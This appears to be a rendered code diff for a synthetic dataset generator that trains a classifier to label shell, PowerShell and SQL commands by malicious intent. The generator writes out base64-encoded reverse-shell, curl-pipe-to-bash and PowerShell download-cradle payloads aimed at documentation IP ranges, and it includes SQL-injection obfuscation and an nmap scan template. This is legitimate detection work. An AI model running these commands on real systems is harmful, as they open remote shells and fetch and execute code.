|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""Generate the synthetic script-intent dataset.
|
| 2 |
+
|
| 3 |
+
Usage: python src/generate_dataset.py --out data --per-class 2000 --seed 42
|
| 4 |
+
|
| 5 |
+
Splits are *template-disjoint*: every template is assigned to exactly one of
|
| 6 |
+
train / validation / test, so test scores measure generalization to command
|
| 7 |
+
patterns the model never saw, not memorization of slot fillers.
|
| 8 |
+
"""
|
| 9 |
+
import argparse
|
| 10 |
+
import base64
|
| 11 |
+
import json
|
| 12 |
+
import os
|
| 13 |
+
import random
|
| 14 |
+
import string
|
| 15 |
+
import sys
|
| 16 |
+
|
| 17 |
+
sys.path.insert(0, os.path.dirname(__file__))
|
| 18 |
+
from templates import LABELS, TEMPLATES # noqa: E402
|
| 19 |
+
|
| 20 |
+
DOC_NETS = ["192.0.2", "198.51.100", "203.0.113"] # RFC 5737, non-routable
|
| 21 |
+
WORDS = ["alpha", "deploy", "invoice", "report", "metrics", "nightly", "backup", "staging",
|
| 22 |
+
"update", "sync", "cache", "audit", "billing", "inventory", "portal", "helpdesk"]
|
| 23 |
+
USERS = ["alice", "bob", "carol", "dave", "erin", "frank", "svc_backup", "deploy", "jenkins",
|
| 24 |
+
"admin", "ubuntu", "ec2-user", "postgres", "www-data", "jsmith", "mgarcia"]
|
| 25 |
+
SVCS = ["nginx", "apache2", "postgresql", "redis", "docker", "sshd", "api", "worker",
|
| 26 |
+
"web", "grafana", "prometheus", "mysql", "rabbitmq", "kafka"]
|
| 27 |
+
SVC2 = ["WindowsUpdateSvc", "SystemHealth", "OneDriveSync", "dbus-helper", "kworkerd",
|
| 28 |
+
"GoogleUpdateTaskMachine", "MicrosoftEdgeUpdate", "netlogond", "sysupdate", "AdobeARM"]
|
| 29 |
+
PKGS = ["htop", "jq", "curl", "build-essential", "python3-pip", "nginx", "git", "tmux", "unzip"]
|
| 30 |
+
PSMODS = ["Az", "PSWindowsUpdate", "Pester", "ImportExcel", "PSReadLine", "dbatools"]
|
| 31 |
+
TABLES = ["users", "orders", "customers", "invoices", "products", "sessions", "events", "accounts"]
|
| 32 |
+
COLS = ["email", "status", "created_at", "region", "sku", "user_id", "total"]
|
| 33 |
+
PATHS = ["/var/www/app", "/opt/app", "/home/{u}/projects/api", "/srv/data", "/etc/nginx",
|
| 34 |
+
"~/code/site", "/var/log/app", "/data/exports"]
|
| 35 |
+
WINPATHS = ["C:\\Users\\{u}\\Documents", "C:\\inetpub\\wwwroot", "D:\\Backups", "C:\\Logs",
|
| 36 |
+
"C:\\ProgramData\\App", "$env:USERPROFILE\\Desktop"]
|
| 37 |
+
ADDOMAINS = ["corp.example", "contoso.test", "ad.example.org", "internal.test"]
|
| 38 |
+
DOMAINS = ["example.com", "example.org", "example.net", "acme.test", "contoso.test", "service.example"]
|
| 39 |
+
FILES = ["update", "svc", "payload", "x", "agent", "a", "run", "health", "tmp", "install",
|
| 40 |
+
"lib", "kdev", "sys", "data", "out", "loader", "stage2", "conf"]
|
| 41 |
+
BRANCHES = ["main", "master", "develop", "release/1.4"]
|
| 42 |
+
MSGS = ["fix typo", "bump deps", "add healthcheck", "refactor auth", "update readme"]
|
| 43 |
+
IFACES = ["eth0", "ens5", "wlan0", "lo", "docker0"]
|
| 44 |
+
ROLES = ["ec2-default", "app-role", "web-instance"]
|
| 45 |
+
EXTS = ["conf", "php", "yml", "env", "ini", "xml", "json"]
|
| 46 |
+
|
| 47 |
+
|
| 48 |
+
def rip():
|
| 49 |
+
return f"{random.choice(DOC_NETS)}.{random.randint(1, 254)}"
|
| 50 |
+
|
| 51 |
+
|
| 52 |
+
def rand_b64(text, utf16=False):
|
| 53 |
+
raw = text.encode("utf-16-le" if utf16 else "utf-8")
|
| 54 |
+
return base64.b64encode(raw).decode()
|
| 55 |
+
|
| 56 |
+
|
| 57 |
+
def fill(tpl):
|
| 58 |
+
u = random.choice(USERS)
|
| 59 |
+
ip = rip()
|
| 60 |
+
port = random.choice([4444, 443, 8080, 9001, 1337, 53, 8443, 5555, 80, random.randint(1024, 65535)])
|
| 61 |
+
v = {
|
| 62 |
+
"ip": ip,
|
| 63 |
+
"port": port,
|
| 64 |
+
"port2": random.choice([80, 8000, 8080, 443, random.randint(1024, 65535)]),
|
| 65 |
+
"subnet": f"{random.choice(DOC_NETS)}.0/24",
|
| 66 |
+
"prefix": random.choice(DOC_NETS),
|
| 67 |
+
"rate": random.choice([1000, 5000, 10000]),
|
| 68 |
+
"domain": random.choice(DOMAINS),
|
| 69 |
+
"domain2": f"cdn-{random.choice(WORDS)}.{random.choice(DOMAINS)}",
|
| 70 |
+
"addomain": random.choice(ADDOMAINS),
|
| 71 |
+
"user": u,
|
| 72 |
+
"user2": random.choice(["support", "sysadm", "backup2", "helpdesk$", "svc_mon", "toor"]),
|
| 73 |
+
"pw": random.choice(["P@ssw0rd!", "Winter2024!", "Changeme123", "Summer#99", "Passw0rd1"]),
|
| 74 |
+
"host": f"{random.choice(['web', 'db', 'app', 'build', 'files'])}{random.randint(1, 20)}.{random.choice(DOMAINS)}",
|
| 75 |
+
"path": random.choice(PATHS).format(u=u),
|
| 76 |
+
"winpath": random.choice(WINPATHS).format(u=u),
|
| 77 |
+
"file": random.choice(FILES) + random.choice(["", str(random.randint(1, 99))]),
|
| 78 |
+
"svc": random.choice(SVCS),
|
| 79 |
+
"svc2": random.choice(SVC2),
|
| 80 |
+
"pkg": random.choice(PKGS),
|
| 81 |
+
"psmod": random.choice(PSMODS),
|
| 82 |
+
"ns": random.choice(["default", "prod", "staging", "monitoring"]),
|
| 83 |
+
"branch": random.choice(BRANCHES),
|
| 84 |
+
"msg": random.choice(MSGS),
|
| 85 |
+
"word": random.choice(WORDS),
|
| 86 |
+
"n": random.randint(1, 50),
|
| 87 |
+
"n2": random.randint(1, 20),
|
| 88 |
+
"min": random.choice([1, 5, 10, 15, 30]),
|
| 89 |
+
"sec": random.choice([5, 10, 15]),
|
| 90 |
+
"code": random.choice([404, 500, 502, 403]),
|
| 91 |
+
"ver": f"{random.randint(0, 5)}.{random.randint(0, 20)}.{random.randint(0, 9)}",
|
| 92 |
+
"date": f"2024-{random.randint(1, 12):02d}-{random.randint(1, 28):02d}",
|
| 93 |
+
"table": random.choice(TABLES),
|
| 94 |
+
"col": random.choice(COLS),
|
| 95 |
+
"bucket": f"{random.choice(WORDS)}-{random.choice(['prod', 'dev'])}-bucket",
|
| 96 |
+
"iface": random.choice(IFACES),
|
| 97 |
+
"role": random.choice(ROLES),
|
| 98 |
+
"ext": random.choice(EXTS),
|
| 99 |
+
"nulls": "NULL," * random.randint(0, 4),
|
| 100 |
+
"sshkey": "AAAA" + "".join(random.choices(string.ascii_letters + string.digits + "+/", k=random.randint(40, 68))),
|
| 101 |
+
}
|
| 102 |
+
v["b64revshell"] = rand_b64(f"bash -i >& /dev/tcp/{ip}/{port} 0>&1")
|
| 103 |
+
v["b64dl"] = rand_b64(f"curl -s http://{ip}/{v['file']}.sh | bash")
|
| 104 |
+
v["b64ps"] = rand_b64(random.choice([
|
| 105 |
+
f"IEX(New-Object Net.WebClient).DownloadString('http://{ip}/{v['file']}.ps1')",
|
| 106 |
+
f"$c=New-Object Net.Sockets.TCPClient('{ip}',{port});$s=$c.GetStream()",
|
| 107 |
+
]), utf16=True)
|
| 108 |
+
v["b64benign"] = rand_b64(random.choice([
|
| 109 |
+
"Get-Service | Where-Object Status -eq 'Running'",
|
| 110 |
+
f"Get-ChildItem C:\\Logs -Filter *.log | Measure-Object",
|
| 111 |
+
"Get-WmiObject Win32_OperatingSystem | Select-Object Caption, Version",
|
| 112 |
+
f"Restart-Service -Name {v['svc']} -Force",
|
| 113 |
+
]), utf16=True)
|
| 114 |
+
return tpl.format(**v)
|
| 115 |
+
|
| 116 |
+
|
| 117 |
+
BIN_PREFIX = {"nc ": "/usr/bin/nc ", "bash ": "/bin/bash ", "curl ": "/usr/bin/curl ",
|
| 118 |
+
"wget ": "/usr/bin/wget ", "python3 ": "/usr/bin/python3 "}
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
SQLI_PREFIX = ["", "", "1", "admin", "test", "x", "%", "abc", "0", "-1"]
|
| 122 |
+
SQLI_SUFFIX = ["", "", " -- ", "#", "/*", ";%00", " -- -"]
|
| 123 |
+
|
| 124 |
+
|
| 125 |
+
def augment(text, lang, label=None):
|
| 126 |
+
"""Light, label-preserving surface variation."""
|
| 127 |
+
if label == "sql_injection" and lang == "sql":
|
| 128 |
+
if random.random() < 0.6:
|
| 129 |
+
text = random.choice(SQLI_PREFIX) + text + random.choice(SQLI_SUFFIX)
|
| 130 |
+
if random.random() < 0.3:
|
| 131 |
+
text = "".join(c.swapcase() if c.isalpha() and random.random() < 0.3 else c for c in text)
|
| 132 |
+
if random.random() < 0.2:
|
| 133 |
+
text = text.replace(" ", random.choice(["/**/", "+", "%20"]))
|
| 134 |
+
return text
|
| 135 |
+
r = random.random()
|
| 136 |
+
if lang in ("powershell", "cmd") and r < 0.15:
|
| 137 |
+
text = "".join(c.upper() if random.random() < 0.3 else c for c in text) # random casing
|
| 138 |
+
elif lang == "bash" and r < 0.15:
|
| 139 |
+
for k, val in BIN_PREFIX.items():
|
| 140 |
+
if text.startswith(k):
|
| 141 |
+
text = val + text[len(k):]
|
| 142 |
+
break
|
| 143 |
+
elif lang == "bash" and r < 0.25 and not text.startswith("sudo"):
|
| 144 |
+
text = "sudo " + text
|
| 145 |
+
elif lang == "cmd" and r < 0.30:
|
| 146 |
+
text = f"cmd.exe /c \"{text}\""
|
| 147 |
+
elif lang == "powershell" and r < 0.30 and not text.lower().startswith("powershell"):
|
| 148 |
+
text = f"powershell.exe -Command \"{text}\""
|
| 149 |
+
if random.random() < 0.1:
|
| 150 |
+
text = text.replace(" ", " ", 1)
|
| 151 |
+
return text
|
| 152 |
+
|
| 153 |
+
|
| 154 |
+
def split_templates(templates, rng):
|
| 155 |
+
"""Assign templates to splits: ~70% train, ~10% val, ~20% test (per class)."""
|
| 156 |
+
idx = list(range(len(templates)))
|
| 157 |
+
rng.shuffle(idx)
|
| 158 |
+
n = len(idx)
|
| 159 |
+
n_test = max(2, round(n * 0.2))
|
| 160 |
+
n_val = max(1, round(n * 0.1))
|
| 161 |
+
return {"test": idx[:n_test], "validation": idx[n_test:n_test + n_val], "train": idx[n_test + n_val:]}
|
| 162 |
+
|
| 163 |
+
|
| 164 |
+
def main():
|
| 165 |
+
ap = argparse.ArgumentParser()
|
| 166 |
+
ap.add_argument("--out", default="data")
|
| 167 |
+
ap.add_argument("--per-class", type=int, default=2000, help="total samples per class across splits")
|
| 168 |
+
ap.add_argument("--seed", type=int, default=42)
|
| 169 |
+
args = ap.parse_args()
|
| 170 |
+
random.seed(args.seed)
|
| 171 |
+
rng = random.Random(args.seed)
|
| 172 |
+
os.makedirs(args.out, exist_ok=True)
|
| 173 |
+
|
| 174 |
+
rows = {"train": [], "validation": [], "test": []}
|
| 175 |
+
split_frac = {"train": 0.7, "validation": 0.1, "test": 0.2}
|
| 176 |
+
for label, templates in TEMPLATES.items():
|
| 177 |
+
assign = split_templates(templates, rng)
|
| 178 |
+
for split, ids in assign.items():
|
| 179 |
+
target = int(args.per_class * split_frac[split])
|
| 180 |
+
seen = set()
|
| 181 |
+
attempts = 0
|
| 182 |
+
while len([r for r in rows[split] if r["label"] == label]) < target and attempts < target * 20:
|
| 183 |
+
attempts += 1
|
| 184 |
+
t_idx = ids[attempts % len(ids)]
|
| 185 |
+
lang, tech, tpl = templates[t_idx]
|
| 186 |
+
text = augment(fill(tpl), lang, label)
|
| 187 |
+
if text in seen:
|
| 188 |
+
continue
|
| 189 |
+
seen.add(text)
|
| 190 |
+
rows[split].append({
|
| 191 |
+
"text": text,
|
| 192 |
+
"label": label,
|
| 193 |
+
"label_id": LABELS.index(label),
|
| 194 |
+
"language": lang,
|
| 195 |
+
"mitre_technique": tech or None,
|
| 196 |
+
"template_id": f"{label}-{t_idx:03d}",
|
| 197 |
+
})
|
| 198 |
+
|
| 199 |
+
# Cross-split exact-duplicate guard
|
| 200 |
+
train_texts = {r["text"] for r in rows["train"]}
|
| 201 |
+
for s in ("validation", "test"):
|
| 202 |
+
rows[s] = [r for r in rows[s] if r["text"] not in train_texts]
|
| 203 |
+
|
| 204 |
+
for split, rs in rows.items():
|
| 205 |
+
random.shuffle(rs)
|
| 206 |
+
with open(os.path.join(args.out, f"{split}.jsonl"), "w") as f:
|
| 207 |
+
for r in rs:
|
| 208 |
+
f.write(json.dumps(r) + "\n")
|
| 209 |
+
counts = {l: sum(r["label"] == l for r in rs) for l in LABELS}
|
| 210 |
+
print(split, len(rs), counts)
|
| 211 |
+
print("templates per class:", {k: len(v) for k, v in TEMPLATES.items()})
|
| 212 |
+
|
| 213 |
+
|
| 214 |
+
if __name__ == "__main__":
|
| 215 |
+
main()
|
src/templates.py
ADDED
|
@@ -0,0 +1,647 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""Command templates for the synthetic script-intent dataset.
|
| 2 |
+
|
| 3 |
+
Each entry is (template_id, language, mitre_technique, template_string).
|
| 4 |
+
Slots in {braces} are filled by generate_dataset.py with randomized,
|
| 5 |
+
non-routable values (RFC 5737 IPs, .example/.test domains, fake users).
|
| 6 |
+
|
| 7 |
+
Every malicious pattern here is a widely documented technique (MITRE ATT&CK,
|
| 8 |
+
Atomic Red Team, Sigma rules). The goal is detection, so the templates mirror
|
| 9 |
+
what defenders see in process command lines and shell history, not novel tooling.
|
| 10 |
+
"""
|
| 11 |
+
|
| 12 |
+
LABELS = [
|
| 13 |
+
"benign",
|
| 14 |
+
"reconnaissance",
|
| 15 |
+
"credential_harvesting",
|
| 16 |
+
"reverse_shell",
|
| 17 |
+
"persistence",
|
| 18 |
+
"download_execute",
|
| 19 |
+
"sql_injection",
|
| 20 |
+
]
|
| 21 |
+
|
| 22 |
+
# ---------------------------------------------------------------------------
|
| 23 |
+
# BENIGN: everyday admin / dev commands, including "scary-looking" hard
|
| 24 |
+
# negatives (network tools, downloads without execution, base64, sudo, etc.)
|
| 25 |
+
# ---------------------------------------------------------------------------
|
| 26 |
+
BENIGN = [
|
| 27 |
+
("bash", "", "ls -la {path}"),
|
| 28 |
+
("bash", "", "cd {path} && git pull origin {branch}"),
|
| 29 |
+
("bash", "", "git commit -am \"{msg}\" && git push"),
|
| 30 |
+
("bash", "", "tar -czvf {file}.tar.gz {path}"),
|
| 31 |
+
("bash", "", "sudo apt-get update && sudo apt-get install -y {pkg}"),
|
| 32 |
+
("bash", "", "sudo systemctl restart {svc}"),
|
| 33 |
+
("bash", "", "sudo systemctl status {svc} --no-pager"),
|
| 34 |
+
("bash", "", "journalctl -u {svc} --since \"1 hour ago\" | tail -n {n}"),
|
| 35 |
+
("bash", "", "docker compose up -d --build {svc}"),
|
| 36 |
+
("bash", "", "docker logs -f --tail {n} {svc}"),
|
| 37 |
+
("bash", "", "kubectl get pods -n {ns} -o wide"),
|
| 38 |
+
("bash", "", "kubectl rollout restart deployment/{svc} -n {ns}"),
|
| 39 |
+
("bash", "", "python3 -m venv .venv && source .venv/bin/activate && pip install -r requirements.txt"),
|
| 40 |
+
("bash", "", "npm ci && npm run build"),
|
| 41 |
+
("bash", "", "grep -rn \"{word}\" {path} --include=*.py"),
|
| 42 |
+
("bash", "", "find {path} -name \"*.log\" -mtime +{n} -delete"),
|
| 43 |
+
("bash", "", "du -sh {path}/* | sort -h"),
|
| 44 |
+
("bash", "", "df -h"),
|
| 45 |
+
("bash", "", "ping -c 4 {domain}"),
|
| 46 |
+
("bash", "", "ssh {user}@{host} 'uptime'"),
|
| 47 |
+
("bash", "", "scp {file}.tar.gz {user}@{host}:/backups/"),
|
| 48 |
+
("bash", "", "rsync -avz --delete {path}/ {user}@{host}:{path}/"),
|
| 49 |
+
("bash", "", "curl -sS https://api.{domain}/v1/health | jq ."),
|
| 50 |
+
("bash", "", "curl -fsSL -o {file}.tar.gz https://releases.{domain}/{file}-{ver}.tar.gz"),
|
| 51 |
+
("bash", "", "wget -q https://downloads.{domain}/{file}-{ver}.zip -O /tmp/{file}.zip && sha256sum /tmp/{file}.zip"),
|
| 52 |
+
("bash", "", "echo '{word}' | base64"),
|
| 53 |
+
("bash", "", "openssl req -new -newkey rsa:2048 -nodes -keyout {host}.key -out {host}.csr"),
|
| 54 |
+
("bash", "", "chmod 644 {path}/{file}.conf"),
|
| 55 |
+
("bash", "", "chown -R {user}:{user} {path}"),
|
| 56 |
+
("bash", "", "crontab -l"),
|
| 57 |
+
("bash", "", "tail -f /var/log/nginx/access.log | grep {code}"),
|
| 58 |
+
("bash", "", "awk '{{print $1}}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head"),
|
| 59 |
+
("bash", "", "nslookup {domain}"),
|
| 60 |
+
("bash", "", "dig +short {domain} MX"),
|
| 61 |
+
("bash", "", "ip addr show {iface}"),
|
| 62 |
+
("bash", "", "sudo ufw allow {port}/tcp"),
|
| 63 |
+
("bash", "", "make -j{n} && make test"),
|
| 64 |
+
("bash", "", "cat {path}/README.md"),
|
| 65 |
+
("bash", "", "export PATH=$HOME/.local/bin:$PATH"),
|
| 66 |
+
("bash", "", "ps aux --sort=-%mem | head -n {n}"),
|
| 67 |
+
("bash", "", "free -m"),
|
| 68 |
+
("bash", "", "sudo nginx -t && sudo systemctl reload nginx"),
|
| 69 |
+
("bash", "", "aws s3 cp {file}.tar.gz s3://{bucket}/backups/"),
|
| 70 |
+
("bash", "", "terraform plan -out=tfplan"),
|
| 71 |
+
("bash", "", "htop"),
|
| 72 |
+
("bash", "", "nc -zv {domain} 443"),
|
| 73 |
+
("powershell", "", "Get-ChildItem -Path {winpath} -Recurse -Filter *.log | Remove-Item"),
|
| 74 |
+
("powershell", "", "Get-Service -Name {svc} | Restart-Service"),
|
| 75 |
+
("powershell", "", "Get-Process | Sort-Object CPU -Descending | Select-Object -First {n}"),
|
| 76 |
+
("powershell", "", "Install-Module -Name {psmod} -Scope CurrentUser"),
|
| 77 |
+
("powershell", "", "Invoke-RestMethod -Uri https://api.{domain}/v1/status -Method Get"),
|
| 78 |
+
("powershell", "", "Invoke-WebRequest -Uri https://downloads.{domain}/{file}.msi -OutFile $env:TEMP\\{file}.msi"),
|
| 79 |
+
("powershell", "", "Test-NetConnection -ComputerName {domain} -Port 443"),
|
| 80 |
+
("powershell", "", "Get-EventLog -LogName Application -Newest {n}"),
|
| 81 |
+
("powershell", "", "Copy-Item -Path {winpath}\\*.docx -Destination \\\\{host}\\share\\backup"),
|
| 82 |
+
("powershell", "", "Set-ExecutionPolicy RemoteSigned -Scope CurrentUser"),
|
| 83 |
+
("powershell", "", "Get-Content {winpath}\\app.log -Tail {n} -Wait"),
|
| 84 |
+
("powershell", "", "New-Item -ItemType Directory -Path {winpath}\\reports"),
|
| 85 |
+
("powershell", "", "Compress-Archive -Path {winpath}\\reports -DestinationPath {winpath}\\reports.zip"),
|
| 86 |
+
("powershell", "", "Get-WindowsUpdate -Install -AcceptAll"),
|
| 87 |
+
("powershell", "", "powershell.exe -NoProfile -NonInteractive -EncodedCommand {b64benign}"),
|
| 88 |
+
("powershell", "", "[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('{word}'))"),
|
| 89 |
+
("cmd", "", "ipconfig /flushdns"),
|
| 90 |
+
("cmd", "", "dir {winpath} /s /b"),
|
| 91 |
+
("cmd", "", "robocopy {winpath} \\\\{host}\\backup /MIR /R:2"),
|
| 92 |
+
("cmd", "", "sfc /scannow"),
|
| 93 |
+
("cmd", "", "chkdsk C: /f"),
|
| 94 |
+
("cmd", "", "net use Z: \\\\{host}\\share /persistent:yes"),
|
| 95 |
+
("cmd", "", "shutdown /r /t {n}"),
|
| 96 |
+
("sql", "", "SELECT id, name, email FROM {table} WHERE created_at > '{date}' ORDER BY created_at DESC LIMIT {n};"),
|
| 97 |
+
("sql", "", "UPDATE {table} SET status = 'active' WHERE id = {n};"),
|
| 98 |
+
("sql", "", "INSERT INTO {table} (name, email) VALUES ('{user}', '{user}@{domain}');"),
|
| 99 |
+
("sql", "", "CREATE INDEX idx_{table}_{col} ON {table} ({col});"),
|
| 100 |
+
("sql", "", "SELECT COUNT(*) FROM {table} GROUP BY {col} HAVING COUNT(*) > {n};"),
|
| 101 |
+
("sql", "", "DELETE FROM {table} WHERE created_at < NOW() - INTERVAL '{n} days';"),
|
| 102 |
+
("sql", "", "SELECT u.name, o.total FROM users u JOIN orders o ON o.user_id = u.id WHERE o.total > {n};"),
|
| 103 |
+
("sql", "", "ALTER TABLE {table} ADD COLUMN {col} VARCHAR(255);"),
|
| 104 |
+
("sql", "", "SELECT * FROM {table} WHERE {col} LIKE '%{word}%';"),
|
| 105 |
+
("sql", "", "BEGIN; UPDATE accounts SET balance = balance - {n} WHERE id = 1; COMMIT;"),
|
| 106 |
+
("sql", "", "EXPLAIN ANALYZE SELECT * FROM {table} WHERE id = {n};"),
|
| 107 |
+
]
|
| 108 |
+
|
| 109 |
+
# ---------------------------------------------------------------------------
|
| 110 |
+
# RECONNAISSANCE: discovery of hosts, users, privileges, network, software
|
| 111 |
+
# ---------------------------------------------------------------------------
|
| 112 |
+
RECON = [
|
| 113 |
+
("bash", "T1046", "nmap -sS -p- -T4 {ip}"),
|
| 114 |
+
